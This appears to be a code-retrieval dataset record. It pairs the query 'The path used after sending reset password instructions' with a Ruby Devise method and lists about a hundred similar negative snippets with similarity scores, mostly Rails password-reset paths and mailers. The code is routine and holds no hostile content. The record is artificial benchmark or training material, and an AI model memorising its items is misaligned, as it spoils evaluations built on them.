[ "0.72471845", "0.7074387", "0.7074387", "0.7074387", "0.69714904", "0.68989664", "0.6880963", "0.6859546", "0.6849848", "0.68175167", "0.67454636", "0.66903937", "0.6666782", "0.66627675", "0.6642551", "0.66368985", "0.66019744", "0.65889335", "0.6556639", "0.65478224", "0.65329653", "0.64794874", "0.64777386", "0.64622086", "0.6435934", "0.64149886", "0.6411435", "0.63999015", "0.63999015", "0.6357829", "0.6336634", "0.6314312", "0.62946934", "0.6291651", "0.6288052", "0.6287344", "0.6269206", "0.62575996", "0.6248208", "0.6247389", "0.62348974", "0.6230469", "0.6225503", "0.62195146", "0.62107354", "0.61984175", "0.61947656", "0.6188322", "0.61859304", "0.61809504", "0.6163094", "0.6161268", "0.61438763", "0.6140388", "0.61329126", "0.6130733", "0.6127532", "0.6111494", "0.6109826", "0.6096534", "0.60905427", "0.60905427", "0.60905427", "0.6089995", "0.6089418", "0.60875475", "0.60830474", "0.60750514", "0.6074787", "0.60737026", "0.60737026", "0.60735303", "0.60727894", "0.6072472", "0.6072472", "0.6072472", "0.6069857", "0.60631794", "0.60611427", "0.6056476", "0.6051249", "0.6051249", "0.6046777", "0.6044361", "0.60411966", "0.60317034", "0.60220665", "0.6022057", "0.601809", "0.6015982", "0.60133094", "0.60120255", "0.60120255", "0.60120255", "0.60120255", "0.60027903", "0.60021776", "0.59980875", "0.5994967" ]
0.7192666
1
TODO: Cyclomatic complexity for inverse is too high. [7/6]
def inverse(x, operator) if x.num? x = x.to_numeric if operator == :+ _(- x) else _(Rational(1, x)) end elsif x.is_a?(Inverse) && x.operator == operator x.x else Inverse.new(x, operator) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def inverse; end", "def inverse; end", "def inverse\n end", "def inverse_of; end", "def invert() end", "def invert; end", "def inverse!\n inverse self\n end", "def invert\n end", "def inversed; end", "def inverse_of=(_arg0); end", "def inverted; invert = true; self; end", "def inverse!\r\n conjugate!\r\n scale!(1.0/norm)\r\n end", "def inverse()\n map_hash{|k,v|[k,1/v] if v > 0}.to_p\n end", "def inverse\r\n quaternion.inverse!\r\n end", "def inverse\n\t\t\treturn self.dup.inverse!\n\t\tend", "def inversed=(_arg0); end", "def opposite(x)\n x * -1\nend", "def test_inverse\n origin = make_dummy_source(\"http://inversetest.com/originating\")\n origin2 = make_dummy_source(\"http://inversetest.com/originating2\")\n target = make_dummy_source(\"http://inversetest.com/target\")\n \n \n origin.foo::my_friend << target\n origin.foo::coworker << target\n origin2.foo::my_friend << target\n \n origin.save!\n origin2.save!\n target.save!\n\n\n inverted = target.inverse[N::FOO::coworker]\n assert_equal(1, inverted.size)\n assert_equal(origin.uri, inverted[0].uri)\n \n # Crosscheck\n assert_equal(2, target.inverse[N::FOO::my_friend].size)\n end", "def inverse\n input.aliases.inverse\n end", "def inverse\n Negation.new(self)\n end", "def invert\n clone.invert!\n end", "def inverse(other = nil)\n candidates = inverses(other)\n candidates.detect { |c| c } if candidates\n end", "def inverse(start=0)\n start = 0 if [true, false].include?(start) and start\n self.transpose(-1, true).transpose(start+1)\n end", "def inverse\n return @inverse if defined?(@inverse)\n\n if kind_of_inverse?(options[:inverse])\n return @inverse = options[:inverse]\n end\n\n relationships = target_model.relationships(relative_target_repository_name).values\n\n @inverse = relationships.detect { |relationship| inverse?(relationship) } ||\n invert\n\n @inverse.child_key\n\n @inverse\n end", "def opposite(number)\r\n return number * (-1)\r\nend", "def invert(list)\n for i in 0..list.length-1\n list[i] *= -1 unless list[i] == 0\n end\n list\nend", "def inverse!\n\t\t\tsmag = self.sqr\n\t\t\t@elem = [\n\t\t\t\t-@elem[0] / smag,\n\t\t\t\t-@elem[1] / smag,\n\t\t\t\t-@elem[2] / smag,\n\t\t\t\t @elem[3] / smag\n\t\t\t]\n\t\tend", "def inverse_all!(collection)\r\n collection.each do |point|\r\n inverse!(point)\r\n end\r\n collection\r\n end", "def opposite num\n -num\n end", "def inverse_vector(a, vector)\n inverse = a.dup\n (0...vector.size).each do |i|\n inverse[vector[i]] = i unless vector[i].nil?\n end\n inverse\n end", "def rankinverse(p,i,n)\n ri(p,i,n,1,0)\n return p\n end", "def inverse_class\n self.class::INVERSE_CLASS\n end", "def inverse(point)\r\n inverse!(point.dup)\r\n end", "def opposite(ar, i)\n\tdst = ((ar.length-1.0)/2.0).ceil\n\tleft, right = (i-dst) % ar.length, (i+dst) % ar.length\n\n\tar[right]\nend", "def create_inverse\n if !_without_inverse &&\n relation.inverse.present? &&\n Tie.inverse(self).blank?\n t = Tie.inverse(self).build\n t._without_inverse = true\n t.save!\n end\n end", "def pinv_left\n (transpose * self).inv * transpose\n end", "def inversed_sum\n 1.0 / sum\n end", "def inverse\n @commands.reverse.map { |name, args|\n method = :\"invert_#{name}\"\n raise IrreversibleMigration unless respond_to?(method, true)\n send(method, args)\n }\n end", "def opposite(number)\n number*-1\nend", "def _inverse_relation\n _relation.inverse_setter.delete(\"=\")\n end", "def invert(num) \n puts -num \nend", "def invertible_for?(_)\n false\n end", "def test_inverse_predicates\n source = make_dummy_source(\"http://predicate_source/\")\n target = make_dummy_source(\"http://predicate_target/\")\n target.save!\n source.foo::invtest << target\n source.save!\n assert(target.inverse_predicates.size > 0, \"No inverse predicates\")\n assert(target.inverse_predicates.include?(N::FOO::invtest), \"Inverse predicate not found.\")\n end", "def opposite(number)\n return 0 - number\nend", "def invert!(alpha = false); end", "def invert!\n @cards.values.each {|c| c.invert! }\n end", "def opposite(num)\n if num < 0\n return num.abs\n else num >= 0\n return num * -1 end\nend", "def inverse\n return self if identity_matrix?\n raise 'not invertible' unless invertible?\n\n Matrix.new(size) do |result|\n det = determinant\n each_row_col do |row, col|\n result[col, row] = cofactor(row, col) / det\n end\n end\n end", "def normalize!\n reverse! if !normal?\n end", "def inverse_from(src)\n size = row_size - 1\n a = src.to_a\n \n my_rows = @rows\n for k in 0..size\n i = k\n akk = a[k][k].abs\n for j in (k+1)..size\n v = a[j][k].abs\n if v > akk\n i = j\n akk = v\n end\n end\n Matrix.Raise ErrNotRegular if akk == 0\n if i != k\n a[i], a[k] = a[k], a[i]\n my_rows[i], my_rows[k] = my_rows[k], my_rows[i]\n end\n akk = a[k][k]\n \n for i in 0 .. size\n next if i == k\n q = a[i][k] / akk\n a[i][k] = 0\n \n #(k + 1).upto(size) do\n j = k + 1\n while j <= size \n a[i][j] -= a[k][j] * q\n j += 1\n end\n # 0.upto(size) do\n j = 0\n while j <= size\n my_rows[i][j] -= my_rows[k][j] * q\n j += 1\n end\n end\n \n #(k + 1).upto(size) do\n j = k + 1\n while j <= size\n a[k][j] /= akk\n j += 1\n end\n # 0.upto(size) do\n j = 0\n while j <= size\n my_rows[k][j] /= akk\n j += 1\n end\n end\n self\n end", "def inverse_type; end", "def multiplicative_inverse(n, e)\n totiente = totiente(n)\n invmod(e, totiente)\nend", "def invert\n\tUnits.new(@units.inject({}) {|h,(k,v)| h[k] = -v; h })\n end", "def inverse\n result = UnitQuaternion.new\n result.set(@beta0, *(-1*@beta_s))\n return result\n end", "def invert(lst)\n lst.map { |l| l * -1 }\nend", "def unnormalized; end", "def inverse\n inverse_powers = {}\n powers.each{ |u,p| inverse_powers[u] = -p }\n PhysicalQuantity.new(1.0/@quantity, inverse_powers)\n end", "def inverse_all(collection)\r\n newcollection = collection.dup.clear\r\n collection.each do |point|\r\n newcollection << inverse(point)\r\n end\r\n newcollection\r\n end", "def invert\n approximate_steps = [] # get list of approximate steps\n @degrees.each_cons(2){|a,b| approximate_steps << (b.to_i - a.to_i)}\n adjustments = [] # get list of adjustments (ie. '+' if the step is an augmented interval, '++' if the step is double augmented etc.)\n @degrees.each_cons(2) do |a,b|\n adjustments << case a\n when /#/\n case b\n when /#/\n ''\n when /b/\n a.to_i > b.to_i ? '++' : '--'\n else\n a.to_i > b.to_i ? '+' : '-'\n end\n when /b/\n case b\n when /#/\n a.to_i > b.to_i ? '--' : '++'\n when /b/\n ''\n else\n a.to_i > b.to_i ? '-' : '+'\n end\n else\n case b\n when /#/\n a.to_i > b.to_i ? '-' : '+'\n when /b/\n a.to_i > b.to_i ? '+' : '-'\n else\n ''\n end\n end\n end\n adjusted_steps = [] # invert approximate steps and add adjustments\n approximate_steps.size.times do |i|\n if md = adjustments[i].match(/--|\\+\\+/)\n md[0] == '--' ? approximate_steps[i] -= 1 : approximate_steps[i] += 1\n adjustments[i] = ''\n end\n adjusted_steps[i] = (-1 * approximate_steps[i]).to_s + adjustments[i]\n end\n # construct new Motive object from inverted steps\n new_degrees = [@degrees[0]]\n adjusted_steps.each do |s|\n next_degree = apply_adjusted_step(new_degrees.last, s)\n new_degrees << next_degree\n end\n Scails::Motive.new(new_degrees)\n end", "def reverse()\n #This is a stub, used for indexing\nend", "def inv(&block)\n block = ->(x) {true} if !block_given?\n list = invertir(@cabeza, &block)\n list.pop\n return nil if list.total == 0\n list\n end", "def find_inverse(key_1)\r\n\t(1..26).each do |d|\r\n\t\treturn d if(((d * key_1) % 26) == 1) \r\n\tend\r\n\traise StandardError, \"#{key_1} has no inverse mod 26\"\r\nend", "def inverse_of(name)\n reflection = _klass.reflections.fetch(name.to_s, nil) || # >= Rails 4.3\n _klass.reflections.fetch(name.to_sym, nil) # < Rails 4.3\n reflection.inverse_of if reflection\n end", "def inverses(other = nil)\n return [ inverse_of ] if inverse_of\n return [] if @options.key?(:inverse_of) && !inverse_of\n\n if polymorphic?\n polymorphic_inverses(other)\n else\n determine_inverses(other)\n end\n end", "def invert!\n @front, @back = @back, @front\n end", "def reverse() end", "def reverse() end", "def inverse(name)\n return (if -1 <= name and name < size - 1 then name else -1 end) if name.is_a? Integer\n return @inverse[name] || -1 if name.is_a? Symbol\n throw \"unsupported name class: #{name.class}\"\n end", "def reverse!() end", "def reverse!() end", "def inverse_formula (a, b)\n return 2 * (a + 5 * b)\nend", "def -@\n return self.invert\n end", "def -@\n return self.invert\n end", "def flipud\n reverse(0)\n end", "def inverse_of_model\n inverse_of && inverse_of.active_record\n end", "def mod_inverse(n, divisor)\n\tfast_exp_mod(n, divisor - 2, divisor)\nend", "def inverse_name\n unless defined?(@inverse_name)\n @inverse_name = options.fetch(:inverse_of) { automatic_inverse_of }\n end\n\n @inverse_name\n end", "def reverse_even\n even.reverse\n end", "def opposite n\n\t\tif n%2 == 0\n\t\t\treturn n+1\n\t\telse\n\t\t\treturn n-1\n\t\tend\n\tend", "def test_Hash_InstanceMethods_invert\n\t\th = {'n'=>100, 'm'=>100, 'y'=>300, 'd'=>200, 'a'=>0}\n\t\tassert_equal({100=>'m',300=>'y',200=>'d',0=>'a'}, h.invert)\n\tend", "def invertir\n @contenido = invertirExamen(@contenido)\n end", "def invert\n OrderedExpression.new(@expression, !@descending, :nulls=>INVERT_NULLS.fetch(@nulls, @nulls))\n end", "def invert(list)\n list.map(&:-@)\nend", "def inverse_transform(z)\n z = ::Rumale::Validation.check_convert_sample_array(z)\n\n z.dot(@components)\n end", "def flip\n __flip__\n end", "def opposite(x)\n puts -(x)\nend", "def inv!\n @numer, @denom = @denom, @numer\n self\n end", "def inverse_of(command, args, &block)\n method = :\"invert_#{command}\"\n raise IrreversibleMigration, <<~MSG unless respond_to?(method, true)\n This migration uses #{command}, which is not automatically reversible.\n To make the migration reversible you can either:\n 1. Define #up and #down methods in place of the #change method.\n 2. Use the #reversible method to define reversible behavior.\n MSG\n send(method, args, &block)\n end", "def cho_inv(a, uplo:'U')\n Lapack.call(:potri, a, uplo:uplo)[0]\n end", "def rev\n end", "def opposite\n @opposite ||= DIRECTIONS[DIRECTIONS.index(direction) - 1]\n end", "def reverse\n end", "def reverse\n end", "def forced_nil_inverse?\n @forced_nil_inverse ||= @options.key?(:inverse_of) && !@options[:inverse_of]\n end", "def get_inverse_sum\n sum = 0\n self.get_odd_names.each do |name|\n odd_value = self.best_odd_for(name).value\n sum = sum + 1.0 / odd_value\n end\n return sum\n end", "def invert\n REVERSALS[self]\n end", "def reverse; end", "def reverse; end", "def inverse\n Matrix.Raise ErrDimensionMismatch unless square?\n Matrix.I(row_size).inverse_from(self)\n end", "def create_inverse\n self.class.create(inverse_match)\n end" ]
[ "0.8477054", "0.8477054", "0.8274837", "0.7928972", "0.7923596", "0.7874508", "0.7718438", "0.76626843", "0.75551695", "0.723393", "0.7100114", "0.7096614", "0.70546114", "0.7043647", "0.7019748", "0.68156505", "0.6786926", "0.6772676", "0.6662975", "0.66560996", "0.66497993", "0.6643635", "0.65758413", "0.65220815", "0.6506511", "0.64884573", "0.647502", "0.64714974", "0.64590824", "0.642959", "0.6409792", "0.6376579", "0.6337579", "0.63339126", "0.6333102", "0.62876725", "0.6286249", "0.62848526", "0.62649614", "0.62445194", "0.62383556", "0.6226118", "0.6222838", "0.62178445", "0.6217117", "0.621406", "0.6189391", "0.6174178", "0.61697507", "0.61679727", "0.6161427", "0.6152336", "0.6142345", "0.61416334", "0.6133864", "0.6125377", "0.61066574", "0.6096594", "0.6081723", "0.6055316", "0.60474724", "0.60290635", "0.60082877", "0.59896165", "0.5983173", "0.59685314", "0.59685314", "0.596291", "0.59603316", "0.59603316", "0.5958218", "0.59548825", "0.59548825", "0.59318274", "0.5930795", "0.5930036", "0.5910304", "0.5906747", "0.5894351", "0.5886149", "0.58825827", "0.58781445", "0.5874637", "0.5874438", "0.58463025", "0.5836667", "0.58198833", "0.5794851", "0.579226", "0.5790331", "0.5781053", "0.5777079", "0.5777079", "0.5767766", "0.57617354", "0.576018", "0.575336", "0.575336", "0.5751757", "0.5738211" ]
0.6151951
52
remove rails default log subscriptions [ActiveRecord::LogSubscriber, ActionController::LogSubscriber, ActionView::LogSubscriber, ActionMailer::LogSubscriber]
def remove_existing_log_subscriptions ActiveSupport::LogSubscriber.log_subscribers.each do |subscriber| case subscriber when ActionView::LogSubscriber unsubscribe(:action_view, subscriber) when ActionController::LogSubscriber unsubscribe(:action_controller, subscriber) when ActiveRecord::LogSubscriber unsubscribe(:active_record, subscriber) when ActionMailer::LogSubscriber unsubscribe(:action_mailler, subscriber) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disable_logging\n @logger = nil\n end", "def reset_logging\n\t\tMongrel2.reset_logger\n\tend", "def disable_logging\n @communicator_logger = nil\n end", "def disable_logging\n @communicator_logger = nil\n end", "def clear_log\n @messages = []\n end", "def clear_messages\n Facter::Log.clear_messages\n end", "def unsuppress_logger\n Log.silent(false)\n @logger_suppressed = nil\n end", "def unsubscribed\n stop_all_streams\n end", "def cleanup\n\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tremove_console_dispatcher('notify')\n\t\tend", "def cleanup\n\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tremove_console_dispatcher('notify')\n\t\tend", "def cleanup\n\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tremove_console_dispatcher('twitt')\n\t\tend", "def sparkResetLogging()\n #logNormal($sparkPrefix + \" sparkResetLogging removing all log targets\\n\");\n\n logServer = get($serverPath+'log')\n if (logServer != nil)\n logServer.removeAllStreams()\n end\nend", "def subscriptions_reset\n self.subscriptions = Subscription.defaults\n end", "def unsubscrible\n NewsletterMailer.unsubscrible\n end", "def cleanup\n\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tremove_console_dispatcher('notify_pushover')\n\t\tend", "def reset_logging\n\t\tRoninShell.reset_logger\n\tend", "def reset_own_logger\n self.logger = nil\n end", "def reset_logging\n\t\tTreequel.reset_logger\n\tend", "def deregister_event_handlers\n\t\tframework.events.remove_session_subscriber(self)\n\tend", "def clean_subscriptions\n\t if @subscription = self.subscription\n\t \tunless @subscription.active?\n\t \t recatch_time = ((Time.now - @subscription.deactivated_at) / 1.hour).round\n\t \t if recatch_time > 24 \n\t \t \[email protected]\n\t \t end\n\t \tend\n\t end\n\tend", "def disable_logging\n @session.connection.disable_logging\n end", "def reset_singleton_logger!\n @@singleton_logger = nil\n end", "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end", "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end", "def subscriptions!\n @subscriptions = nil\n subscriptions\n end", "def unsubscribed # :doc:\n # Override in subclasses\n end", "def unsubscribed; end", "def unsubscribed\n end", "def unsubscribed\n end", "def clear_log\n request('clearLog')\n end", "def unsubscribe_all_request_hooks\n EasyPost::Hooks.unsubscribe_all(:request)\n end", "def cleanup!\n test_sink = @logging.sink \"my-sink\"\n test_sink&.delete\n end", "def delete_logging_statement\n super\n end", "def unsubscribe_all(listener)\n if @subscriptions\n @subscriptions.keys.each do |event|\n unsubscribe(event, listener)\n end\n end\n end", "def stop_subscribers\n subscribers.each { |subscriber| subscriber << :terminate! }\n\n nil\n end", "def mock_subscribers_log!\n log = LogHelper::RailsLogger.new\n ActiveSupport::Subscriber.subscribers.each do |subscriber|\n allow(subscriber).to receive(:logger).and_return(log)\n end\n log\n end", "def __ext_log_tag\n __ext_class.remove(/^[^:]+::/)\n end", "def unsubscribe_all\n send_action('unsubscribe_all')\n end", "def clear_listeners_instances\n @@listeners = nil\n @@hook_listeners = {}\n end", "def reset_log_data\n without_logging { update_all(log_data: nil) }\n end", "def suppress_logger(logging = nil)\n logging = params[:logging] if logging.nil?\n @logger_suppressed = false?(logging)\n Log.silent(true) if @logger_suppressed\n end", "def unsubscribed\n\tend", "def unsubscribe(cls)\n @subscribers.delete(name)\n end", "def disable_logging\n stack.remove 'request.logger'\n stack.remove 'response.logger'\n self\n end", "def reset_logger!\n Thread.current[:merb_logger] = nil\n end", "def drop_event_log\n session.left.drop_table \"#{options[:rep_prefix]}_logged_events\"\n end", "def clear_listeners_instances\n @@listeners = nil\n @@hook_listeners = {}\n end", "def disable_all_alerts\n self.service_subscriptions.each do |subscription|\n subscription.update_attribute :sms_enabled, false\n subscription.update_attribute :email_enabled, false\n end\n end", "def excludeCategories322\n Rho::Log.excludeCategories = 'imager,signatureCapture,fileTransfer'\n end", "def unregister\n exclusively do\n SendReceive::Tokens.free(send_log.token) if send_log\n end\n end", "def silence_logging\n Rails.logger.silence do\n yield\n end\n end", "def reset_logging!(opts)\n Ncio::Support.reset_logging!(opts)\n end", "def register_global_listeners\n Wisper.clear\n Wisper.subscribe(AdminNotifier.new)\n Wisper.subscribe(SlackNotifications.new)\n Wisper.subscribe(UserEmails.new)\n end", "def null_subscribe\n subscribe {|msg| nil}\n self\n end", "def unapply_on_subscribing\n @apply_on_subscribing = false\n return self\n end", "def stop_listening\n @subscriber.stop! if @subscriber\n end", "def disable_log_instrumentation!\n NewRelic::Agent::Instrumentation::Logger.mark_skip_instrumenting(@log)\n end", "def reset\n VALID_CONFIG_KEYS.each do |k, v|\n send(\"#{k}=\".to_sym, v)\n end\n determine_logger\n\n self.web_type_collectors = []\n end", "def reset_config!\n @log = nil\n @logger = nil\n @log_level = nil\n end", "def reset_config!\n @log = nil\n @logger = nil\n @log_level = nil\n end", "def unsubscribes(options={})\n Resources::Unsubscribes.new(self, options)\n end", "def clear_listeners\n @@listener_classes = []\n clear_listeners_instances\n end", "def purge_all\n @listeners.each { |type, subtypes|\n subtypes.each { |subtype, ar|\n subtypes.delete(subtype) if ar.nil? or ar.empty?\n }\n @listeners.delete(type) if subtypes.empty?\n }\n end", "def delete_subscriptions\n end", "def remove_all_listeners(type=nil)\n if type\n listeners.delete(type)\n else\n listeners.clear\n end\n end", "def reset_log_data\n self.class.without_logging { update_column(:log_data, nil) }\n end", "def clear_log\n @output = []\n end", "def unsubscribe()\n end", "def default_event_subscriptions()\n return @event_subscriptions\n end", "def unsubscribed\n super\n # TODO: abort any pending lookup requests\n end", "def unsubscribe\n subscriptions.values.each(&:unsubscribe)\n @on_unsubscribe.call(self) if @on_unsubscribe\n end", "def remove_trap_sinks(opts)\n opts = check_params(opts,[:sink_type])\n super(opts)\n end", "def unsilence\n lightstreamer_subscription.unsilence\n end", "def clear_listeners\n @@listener_classes = []\n clear_listeners_instances\n end", "def reset_logging\n\t\tLoggability.formatter = nil\n\t\tLoggability.output_to( $stderr )\n\t\tLoggability.level = :fatal\n\tend", "def reset\n @master_logger = nil\n Object.send :remove_method, :logger rescue nil\n if @streams\n $stdout, $stderr = @streams[0..1]\n @streams = nil\n end\n end", "def disable_logging_for(name = nil)\n logging_status(bucket_name(name), Status.new)\n end", "def no_action_log\n true\n end", "def unsubscribe(ident)\n @subscribers.delete(ident)\n end", "def unsubscribe(aSubscriber)\n subscribers.delete_if { |entry| entry == aSubscriber }\n end", "def unsubscribe; end", "def unapply_publishing_and_subscribing\n unapply_on_subscribing\n unapply_on_publishing\n return self\n end", "def disable_activerecord_sql_logging\n ActiveRecord::Base.logger.level = 1\nend", "def loggers\n @loggers ||= []\n end", "def clear_log!(name)\n put :clear_log!, {:name => name}\n end", "def logger\n @logger ||= SubscriberLogger.new(self)\n end", "def remove_subscriptions(subscriptions)\n lightstreamer_subscriptions = Array(subscriptions).compact.map(&:lightstreamer_subscription)\n\n return if lightstreamer_subscriptions.empty?\n\n @lightstreamer.remove_subscriptions lightstreamer_subscriptions\n end", "def log_without_running\n log\n end", "def null_logger\n NullLoggerSingleton.instance\n end", "def clrevtlgs(session)\n\tevtlogs = [\n\t\t'security',\n\t\t'system',\n\t\t'application',\n\t\t'directory service',\n\t\t'dns server',\n\t\t'file replication service'\n\t]\n\tprint_status(\"Clearing Event Logs, this will leave and event 517\")\n\tbegin\n\t\tevtlogs.each do |evl|\n\t\t\tprint_status(\"\\tClearing the #{evl} Event Log\")\n\t\t\tlog = session.sys.eventlog.open(evl)\n\t\t\tlog.clear\n\t\tend\n\t\tprint_status(\"Alll Event Logs have been cleared\")\n\trescue ::Exception => e\n\t\tprint_status(\"Error clearing Event Log: #{e.class} #{e}\")\n\n\tend\nend", "def remove_jcl_over_slf\n dir_glob = Dir.glob(File.join @app_dir, 'WEB-INF', 'lib', 'jcl-over-slf4*.jar')\n dir_glob.each do |f|\n File.delete f\n end\n end", "def destroy\n subscribers.each do |name, subscriber|\n subscriber.destroy\n end\n end", "def unsubscribe_all_response_hooks\n EasyPost::Hooks.unsubscribe_all(:response)\n end", "def log_wipe\n lines = wipe_log\n respond_with(lines, template: 'about/log')\n end", "def noop\n subscribers.length == 0\n end", "def disable_log_to_screen\n @log_to_screen = false\n end", "def enable_activerecord_sql_logging\n ActiveRecord::Base.logger.level = 0\nend", "def unregister_all\n registry.clear.default = nil\n end", "def people_subscribed_to_logged_items logs\n items = logs.collect{|log| log.activity_loggable}.uniq\n items.collect do |item|\n subscriptions = Subscription.find_all_by_subscribable_type_and_subscribable_id(item.class.name,item.id)\n subscriptions.collect{|sub| sub.person}\n end.flatten.compact.uniq\n end", "def unsubscribed\n puts \"#{current_user.displayname} left!\"\n end" ]
[ "0.6561888", "0.6399561", "0.63518065", "0.63518065", "0.6237149", "0.61168534", "0.6092307", "0.60305023", "0.6026589", "0.6026589", "0.5984686", "0.5931459", "0.59240454", "0.59138364", "0.5888427", "0.5868434", "0.5822584", "0.58137894", "0.57679045", "0.5756762", "0.5756697", "0.5739627", "0.5736914", "0.5736914", "0.5736192", "0.57301354", "0.57039046", "0.5686739", "0.5686739", "0.56498694", "0.563342", "0.56247646", "0.56160784", "0.56035393", "0.5599976", "0.5576808", "0.555354", "0.5530708", "0.55276245", "0.5521348", "0.55036336", "0.5493314", "0.5484202", "0.54831725", "0.54715586", "0.547044", "0.5465145", "0.5464016", "0.54376334", "0.5419744", "0.5414751", "0.54053676", "0.5390376", "0.53848976", "0.5366374", "0.5359543", "0.5347153", "0.5344715", "0.53348124", "0.53348124", "0.5329246", "0.5321316", "0.53152585", "0.5297295", "0.5291152", "0.5290273", "0.52853405", "0.5271864", "0.52589965", "0.5257426", "0.52553046", "0.52521133", "0.5244839", "0.5243256", "0.5237717", "0.52323353", "0.52283186", "0.5210505", "0.5203989", "0.5200555", "0.51962763", "0.5190989", "0.51788414", "0.5164945", "0.5161165", "0.5146226", "0.5143326", "0.51385695", "0.51349264", "0.5130181", "0.5129099", "0.5116462", "0.5115779", "0.51084036", "0.5100497", "0.50804627", "0.50787324", "0.5075291", "0.50710136", "0.50642735" ]
0.8608591
0
The path used after sending reset password instructions
def after_sending_reset_password_instructions_path_for(resource_name) new_session_path(resource_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_sending_reset_password_instructions_path_for(resource_name)\n receber_email_password_path\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n root_path\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n store_url\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n\t\t#new_session_path(resource_name) if is_navigational_format?\n\t\troot_path\n\tend", "def after_sending_reset_password_instructions_path_for(resource_name)\n users_passwords_after_create_path\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n\t super(resource_name)\n\tend", "def after_sending_reset_password_instructions_path_for(resource_name)\n new_user_session_path\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n #session[:password_reset] = \"true\"\n #root_path\n root_path(panel:\"password_reset\")\n \n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n\t\tsuper(resource_name)\n\tend", "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n root_path if is_navigational_format?\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n\t new_session_path(resource_name) if is_navigational_format?\n\tend", "def after_sending_reset_password_instructions_path_for(resource_name)\n p \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n p \"-----------------------\"\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n edit_password_path(resource_name) if is_navigational_format?\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n edit_password_path(resource_name) if is_navigational_format?\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n user = User.find_by_email(params[:user][:email])\n password_auth_path(user_id: user.id) if is_navigational_format?\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "def reset_password(temp_password)\n tmp = temp_password\n host = Rails.configuration.hostname\n @path = 'http://' + host + password_change_path(tmp.uuid)\n mail(to: tmp.email,\n from: '[email protected]',\n subject: 'MyHours Password Reset')\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n # パスワードリセット通知を送信後、ログイン画面に遷移する\n super(resource_name)\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n new_user_password_path if is_navigational_format?\n end", "def send_reset_password_instructions; end", "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "def send_reset_password_instructions\n end", "def generate_password_reset_link\n \"http://leagueforgamers.com/user/forgot_password/#{self.verification_digest}\"\n end", "def password_reset_request\n end", "def forgot_password(user)\n @recipients = user.email\n @from = \"#{Site.current.email}\"\n @subject = 'Request to change your password'\n @body [\"name\"] = user.login\n @body[\"url\"] = \"http://#{Site.current.domain}/reset_password/#{user.reset_password_code}\" \n end", "def update_password_path\n edit_admin_user_path(current_user) \n end", "def forgot_password\n\t\tend", "def after_confirmation_path_for(resource_name, resource)\n token = resource.send(:set_reset_password_token)\n edit_password_url(resource, reset_password_token: token)\n end", "def user_forgot_password_template\n 'forgot_password'\n end", "def forgot_password\n\t\t\n\tend", "def password_reset\n #@greeting = \"Pershendetje\"\n\n #mail to: \"[email protected]\"\n end", "def password_reset_instructions(user)\n @user = user\n #default_url_options[:host] = \"authlogic_example.binarylogic.com\"\n mail to: user.email, subject: 'Password reset for HiKultura'\n \n \n end", "def forgot_password\n end", "def password_reset\n MailerMailer.password_reset\n end", "def forgot_password_mail\n Accounts.forgot_password_mail\n end", "def password_recovery_instructions\n PharmacistMailer.password_recovery_instructions\n end", "def password_reset\n UserMailMailer.password_reset\n end", "def password_reset\n AccountMailer.password_reset\n end", "def password_reset\n ClientMailer.password_reset\n end", "def reset_password_email(user)\n @user = user\n @host = \"localhost:8080\"\n @url = \"http://\" + @host + \"/password_resets/#{user.reset_password_token}/edit\"\n mail(:to => user.email, :subject => \"Your password has been reset\")\n end", "def admin_forgot_password_template\n 'admin_forgot_password'\n end", "def forgot_password(user,reset_token)\n @user=user\n @reset_token=reset_token\n @mob_url=\"Driveo://driveo.herokuapp.com/api/v1/authentication/resetpassword?hash=#{@reset_token}\"\n @url=\"https://driveo.herokuapp.com/api/v1/authentication/mobile/resetpassword?hash=#{@reset_token}\"\n\n mail to: @user.email, subject: \"Driveo Reset Password\"\n end", "def reset_password_instructions(user)\n\t\t@edit_reset_password_url = edit_reset_password_url(user.perishable_token)\n\t\tmail(to: user.email.to_s, subject: \"Password reset instructions\")\n\tend", "def forgot_password\n password_customer\n end", "def password_reset(user)\n mail_to user, password_reset_subject\n end", "def new_reset_password\n end", "def password_reset\n UserMailer.password_reset\n end", "def password_reset\n UserMailer.password_reset\n end", "def password_reset\n UserMailer.password_reset\n end", "def reset_password_email(user)\n @user = User.find(user.id)\n @url = edit_password_reset_url(@user.reset_password_token)\n mail(:to => user.email,\n :subject => \"パスワードリセットのご案内\")\n end", "def password_reset(user)\n\t\t@user = user\n\t\t@hostname = \"http://creuroja.net\"\n\t\t@reset_password_link = 